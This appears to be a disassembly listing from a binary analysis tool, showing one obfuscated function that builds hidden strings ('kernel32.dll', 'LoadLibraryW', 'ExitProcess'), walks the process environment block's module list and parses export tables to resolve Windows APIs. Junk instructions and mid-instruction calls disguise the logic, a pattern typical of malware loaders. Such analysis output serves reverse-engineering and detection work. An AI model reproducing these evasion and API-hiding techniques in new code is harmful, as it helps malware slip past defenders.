Function at 0x4293d3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push eax
push edi
add esp, 4
sub eax, 0x17b29
xor eax, 0x6656
add eax, 0x12f09
pop eax
push ebx
add ebx, 0xae5
sub ebx, 0x15372
sub ebx, 0xdb88
sub ebx, 0x6aaf
pop ebx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x4291c9
push edx
push edi
add esp, 4
and edx, 0xe81
jmp 0x4291a6
pop edx
push edx
push ecx
add esp, 4
or edx, 0x41d2
sub edx, 0x84f3
pop edx
push eax
jmp 0x4291c3
pop eax
jmp 0x4293f7
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push edx
jmp 0x4291e5
add edx, 0xc080
pop edx
push eax
sub eax, 0x12626
call 0x429200
add byte [esi + edi + 0x44], cl
xor ecx, dword [ebx + 0x36]
dec esp
add esp, 4
xor eax, 0xf0e7
jmp 0x429210
pop eax
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x429278
push eax
push ebx
add esp, 4
call 0x429249
add byte [edi + 0x43], cl
dec edi
inc eax
inc ecx
cmp al, byte ds:[edi + 0x45]
add esp, 4
sub eax, 0x9c73
xor eax, 0x43cf
and eax, 0xb729
pop eax
push esi
sub esi, 0xa033
pop esi
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x4293a9
cmp dword [ebp - 0xc10], 0
jle 0x42939d
push ebx
xor ebx, 0x402d
and ebx, 0xf02b
sub ebx, 0x1305c
pop ebx
push esi
push ebx
add esp, 4
and esi, 0xf5bc
add esi, 0x11b45
or esi, 0xf4ca
jmp 0x4292b6
pop esi
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x429339
push esi
push edx
add esp, 4
and esi, 0x2d30
call 0x4292e7
add byte [edi + 0x42], al
cmp dword [ebx + 0x37], ecx
cmp eax, 0x833d493f
les eax, [ecx + eax*4]
test bh, 0xd7
add byte [eax], al
pop esi
push ecx
sub ecx, 0x1640f
add ecx, 0x13553
pop ecx
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x429321
mov dword [ebp - 0x14cc], 1
jmp 0x42932b
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x42939d
push esi
push eax
add esp, 4
or esi, 0x11ab6
add esi, 0xea5e
pop esi
push ebx
push edi
add esp, 4
and ebx, 0xbe94
jmp 0x42935e
xor ebx, 0xd4ef
xor ebx, 0x10626
pop ebx
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x429278
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x4293f2
push eax
push ecx
add esp, 4
and eax, 0xa60b
pop eax
push edi
push edx
add esp, 4
call 0x4293d3
add byte [esi], dh
cmp eax, dword [edi + 0x4a]
xor bh, byte [ecx]
dec ebx
dec edx
dec edx
add esp, 4
jmp 0x4293db
pop edi
push eax
add eax, 0x16cc9
pop eax
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x429433
jmp 0x429140
push esi
jmp 0x4293ff
xor esi, 0x16c0d
call 0x429413
add byte [0x48414239], dh
inc esp
inc edx
dec edx
add esp, 4
and esi, 0xfe4b
pop esi
push esi
push ebx
add esp, 4
add esi, 0xfddf
pop esi
mov dword [ebp - 0xa5c], 0
push ebx
push edi
add esp, 4
sub ebx, 0x14c13
pop ebx
push esi
push eax
add esp, 4
or esi, 0xfbab
xor esi, 0x116d2
sub esi, 0x785f
pop esi
push esi
sub esi, 0x1b3c
or esi, 0x9fe5
pop esi
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push ebx
push ecx
add esp, 4
and ebx, 0xcee1
xor ebx, 0x12ea2
xor ebx, 0x7378
or ebx, 0x16a57
pop ebx
push edi
add edi, 0xd206
or edi, 0x11c33
and edi, 0x1091a
pop edi
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push esi
push edi
add esp, 4
call 0x429596
add byte [esi + 0x33], al
cmp byte [ecx + 0x4e], cl
dec ecx
cmp al, 0x83
les eax, [eax + ebp*8]
or byte [eax], al
add byte [eax], al
add byte [esi + esi], dh
inc ebp
cmp dword [eax + 0x37], edx
inc ebx
add esp, 4
xor esi, 0x17be7
sub esi, 0x8bbd
pop esi
push edx
push eax
add esp, 4
and edx, 0xe45d
add edx, 0x1140a
pop edx
push edx
or edx, 0xe000
or edx, 0xb48b
pop edx
push ecx
push edx
add esp, 4
or ecx, 0x13f3
xor ecx, 0xf59b
pop ecx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push edi
push ecx
add esp, 4
sub edi, 0x13cfa
pop edi
push ebx
push eax
add esp, 4
add ebx, 0x16b6f
and ebx, 0x182ce
pop ebx
push ebx
or ebx, 0x4ae6
add ebx, 0xa8bc
and ebx, 0xd60d
pop ebx
cmp dword [ebp - 0x14d4], 0
jne 0x42965a
mov dword [ebp - 0x2e0], 0
jmp 0x429916
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edx
add edx, 0x10d9c
sub edx, 0x115e6
pop edx
push ebx
call 0x429687
add byte [edx + 0x38], cl
inc edi
xor al, 0x37
inc eax
add esp, 4
call 0x42969a
add byte [edx + edi + 0x38], cl
dec esp
cmp byte [esi], dh
inc edi
inc ebp
cmp eax, 0x4c48335
pop ebx
cmp dword [ebp - 0xc20], 0
jne 0x4296b6
mov dword [ebp - 0x2e0], 0
jmp 0x429916
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push ecx
push esi
add esp, 4
jmp 0x4296d0
or ecx, 0x4914
pop ecx
push ecx
jmp 0x4296e1
jmp 0x4296e7
sub ecx, 0x52d8
jmp 0x4296f3
pop ecx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push edi
add edi, 0x90a
call 0x429735
add byte [edi], dh
cmp dword [edi], edi
inc ebx
push eax
dec ebp
add esp, 4
pop edi
push ecx
push esi
add esp, 4
jmp 0x429744
pop ecx
push eax
xor eax, 0x90af
or eax, 0xf54c
pop eax
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push edi
push eax
add esp, 4
add edi, 0x8ed7
sub edi, 0x72db
pop edi
push edx
call 0x4297cd
add byte [eax + ecx*2], dh
aas
dec esi
inc ebp
dec ebp
add esp, 4
sub edx, 0xe1e7
jmp 0x4297de
pop edx
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x429802
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x429865
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x429721
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x429721
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x42984f
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x429859
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x4298ae
push ecx
push esi
add esp, 4
xor ecx, 0xc7d4
add ecx, 0x15621
add ecx, 0xb540
pop ecx
push eax
add eax, 0x119de
or eax, 0x1955
and eax, 0x669f
sub eax, 0x119b2
pop eax
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x429916
push esi
sub esi, 0xb29a
jmp 0x4298bc
call 0x4298ca
add byte [esi], dh
dec ecx
cmp al, 0x4b
inc ebp
cmp byte [ecx + 0x4d], cl
add esp, 4
pop esi
push esi
push esi
add esp, 4
xor esi, 0x6bdf
and esi, 0x1009c
pop esi
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x42990c
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x4296c2
mov dword [ebp - 0x2e0], 0
push ecx
or ecx, 0xa548
or ecx, 0xeeee
xor ecx, 0xcfb2
pop ecx
push edi
xor edi, 0x9111
add edi, 0x8c0e
pop edi
push ebx
jmp 0x429941
add ebx, 0x17ca
pop ebx
cmp dword [ebp - 0x2e0], 0
jne 0x42a261
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push eax
sub eax, 0xffc7
call 0x429a02
add byte [ebx + 0x34], al
dec ebp
cmp ecx, dword [edx + 0x4a]
inc ecx
add esp, 4
and eax, 0xdf4c
pop eax
push edx
sub edx, 0xef39
jmp 0x429a19
and edx, 0xc28b
pop edx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ecx
push edx
add esp, 4
and ecx, 0xe1dc
jmp 0x429ab3
sub ecx, 0x2d0c
and ecx, 0x1797
pop ecx
push edx
sub edx, 0x11975
xor edx, 0x1253d
or edx, 0x13e9a
pop edx
cmp dword [ebp - 0x14dc], 0
jne 0x429aec
mov dword [ebp - 0x6ec], 0
jmp 0x429da8
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push eax
push esi
add esp, 4
xor eax, 0x117c9
xor eax, 0x14a1c
or eax, 0x11cf9
sub eax, 0xf0ee
pop eax
push edi
xor edi, 0x3b91
pop edi
push ecx
push ecx
add esp, 4
xor ecx, 0xe234
pop ecx
cmp dword [ebp - 0xc2c], 0
jne 0x429b48
mov dword [ebp - 0x6ec], 0
jmp 0x429da8
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push edi
push ecx
add esp, 4
call 0x429b67
add byte [0x4149383a], dh
xor eax, 0x4c4834c
pop edi
push edi
push ebx
add esp, 4
jmp 0x429b77
and edi, 0xf5e7
jmp 0x429b85
pop edi
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push esi
push eax
add esp, 4
call 0x429bc4
add byte [edx + 0x3c], al
inc edi
inc ebp
cmp dword [ebx], edi
add esp, 4
add esi, 0xd153
and esi, 0x177b2
pop esi
push edi
push ebx
add esp, 4
sub edi, 0xc4b1
jmp 0x429be4
pop edi
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push eax
push edi
add esp, 4
or eax, 0xcb76
sub eax, 0x25c4
xor eax, 0x9c56
pop eax
push eax
add eax, 0xcd41
pop eax
push ecx
push edx
add esp, 4
and ecx, 0x8ed4
or ecx, 0x14198
pop ecx
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x429c94
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x429cf7
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x429bb3
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x429bb3
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x429ce1
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x429ceb
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x429d40
push edi
or edi, 0x2c0a
pop edi
push esi
push ecx
add esp, 4
call 0x429d19
add byte [ebx + 0x3f], al
cmp byte [esi + 0x38], al
xor al, byte [ebx - 0x97efb3c]
fild word [edi]
add dword [eax], eax
pop esi
push edx
push eax
add esp, 4
jmp 0x429d31
pop edx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x429da8
push ebx
push ebx
add esp, 4
or ebx, 0x573e
pop ebx
push edi
xor edi, 0x7aaf
pop edi
push eax
add eax, 0xb617
jmp 0x429d62
jmp 0x429d6b
sub eax, 0x15593
pop eax
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x429d9e
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x429b54
mov dword [ebp - 0x6ec], 0
push eax
and eax, 0xfa3
sub eax, 0xa5c2
pop eax
push esi
push ebx
add esp, 4
sub esi, 0x73ad
pop esi
push ecx
jmp 0x429dcb
pop ecx
push esi
or esi, 0x156f1
jmp 0x429dd9
pop esi
cmp dword [ebp - 0x6ec], 0
jne 0x429e24
push eax
jmp 0x429de9
add eax, 0x181b6
pop eax
push eax
push edx
add esp, 4
sub eax, 0x1464d
call 0x429e0b
add byte [ebp + 0x3f], al
inc edx
dec ebp
inc esp
dec ecx
xor eax, 0x8333334d
les eax, [ecx + eax*4]
invalid
push esi
or esi, 0xa067
xor esi, 0x11c9
xor esi, 0x11def
pop esi
push ecx
push eax
add esp, 4
and ecx, 0xa302
and ecx, 0xf738
or ecx, 0x14515
add ecx, 0xd5ff
pop ecx
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x429e95
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x42a186
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x429ebd
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x42a186
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x429eef
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x42a186
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x429f14
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x42a186
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x429f6e
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x42a17a
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x429fde
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x42a090
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x42a090
push esi
and esi, 0x1772
call 0x42a022
add byte [esi + esi + 0x4b], cl
xor al, 0x38
inc edi
inc edi
dec ecx
dec edx
add esp, 4
pop esi
push ecx
xor ecx, 0x133e1
call 0x42a039
add byte [esi], bh
aaa
dec eax
dec edx
inc ebp
add esp, 4
pop ecx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x42a082
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x42a089
jmp 0x429fcf
jmp 0x42a090
push ebx
push eax
add esp, 4
sub ebx, 0x6fc5
and ebx, 0xa167
add ebx, 0x12f02
or ebx, 0xb35
pop ebx
push edx
add edx, 0x9281
sub edx, 0x14b28
sub edx, 0x7c0
pop edx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x42a0ef
mov dword [ebp - 0xc30], 0
jmp 0x42a15e
push ecx
push eax
add esp, 4
add ecx, 0xdb94
or ecx, 0x6a6
and ecx, 0xb3
add ecx, 0x1297e
pop ecx
push edx
or edx, 0x179ef
or edx, 0xa7e4
xor edx, 0xf412
pop edx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x42a154
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x42a15e
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x42a175
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x42a186
jmp 0x429f5f
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x42a261
push ecx
push esi
add esp, 4
or ecx, 0xcd68
or ecx, 0x12d45
pop ecx
push edi
add edi, 0x3e7b
add edi, 0xeeb1
call 0x42a1c1
add byte [ebx], dh
dec ecx
dec ecx
dec esi
cmp byte [esi + 0x45], cl
add esp, 4
pop edi
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push esi
push edx
add esp, 4
and esi, 0x79a7
or esi, 0xf16c
pop esi
push esi
call 0x42a1f3
add byte [esi], dh
dec edi
inc esi
dec edi
cmp al, 0x4c
inc ebx
cmp al, 0x83
les eax, [ecx + eax*4]
into
pop ebp
int3
push edx
sub edx, 0x8bf2
pop edx
push esi
sub esi, 0x12223
jmp 0x42a276
pop esi
push edx
and edx, 0x143a2
pop edx
push edx
jmp 0x42a286
pop edx
push ebx
push esi
add esp, 4
sub ebx, 0xd01d
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push eax
xor eax, 0xc26c
add eax, 0x1236f
add eax, 0xb1f7
or eax, 0x11c61
pop eax
push edx
push edx
add esp, 4
or edx, 0x509e
add edx, 0x7831
xor edx, 0x177d
pop edx
cmp dword [ebp - 0x14f4], 0
jne 0x42a304
mov dword [ebp - 0x2e0], 0
jmp 0x42a5ab
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push ecx
add ecx, 0x137ac
and ecx, 0x168f2
or ecx, 0xb36d
sub ecx, 0xa404
pop ecx
push ecx
push edi
add esp, 4
add ecx, 0x5ef1
add ecx, 0x1186d
or ecx, 0x13134
pop ecx
cmp dword [ebp - 0xc3c], 0
jne 0x42a360
mov dword [ebp - 0x2e0], 0
jmp 0x42a5ab
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push esi
jmp 0x42a372
or esi, 0xff51
sub esi, 0x18397
pop esi
push eax
push edx
add esp, 4
call 0x42a394
add byte [eax + 0x3a], al
inc esp
push eax
dec esi
xor al, 0x4d
dec esi
inc ebx
inc ecx
add esp, 4
xor eax, 0x21d2
pop eax
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push edi
and edi, 0xf269
jmp 0x42a3d5
xor edi, 0x1329c
sub edi, 0xb486
pop edi
push esi
or esi, 0x946f
call 0x42a3f6
add byte [esi + 0x46], cl
cmp eax, 0x35354935
add esp, 4
pop esi
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push eax
push eax
add esp, 4
call 0x42a465
add byte [ebx], dh
dec ebx
cmp edi, dword [eax]
dec esi
inc ecx
aas
dec eax
dec ebp
add esp, 4
or eax, 0xca99
add eax, 0xb6fb
pop eax
push ecx
and ecx, 0x7af2
and ecx, 0x11737
pop ecx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x42a4a0
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x42a4fa
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x42a3c8
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x42a3c8
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x42a4e4
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x42a4ee
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x42a543
push ebx
sub ebx, 0x3025
pop ebx
push ebx
push ebx
add esp, 4
add ebx, 0x15824
add ebx, 0xa3d7
xor ebx, 0x157d4
sub ebx, 0x15143
pop ebx
push edx
push edi
add esp, 4
xor edx, 0x152f0
pop edx
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x42a5ab
push eax
push esi
add esp, 4
add eax, 0x141f8
add eax, 0xf5cc
or eax, 0x11acf
pop eax
push eax
push ebx
add esp, 4
jmp 0x42a566
pop eax
push edi
and edi, 0x428f
and edi, 0x8a0f
pop edi
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x42a5a1
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x42a36c
mov dword [ebp - 0x2e0], 0
push eax
or eax, 0x1eef
or eax, 0x1845e
and eax, 0x4200
and eax, 0xfd7f
pop eax
push edi
push ecx
add esp, 4
add edi, 0x173f6
xor edi, 0x34dd
xor edi, 0x15fe2
pop edi
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push ebx
jmp 0x42a5f6
sub ebx, 0x45c7
pop ebx
push ecx
sub ecx, 0x11bfc
add ecx, 0xb8c0
pop ecx
push esi
call 0x42a61a
add byte [edi + 0x3f], al
dec eax
cmp dword [ebx + edi + 0x4b], eax
dec esi
add esp, 4
pop esi
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x42a64e
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x42a93f
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x42a676
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x42a93f
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
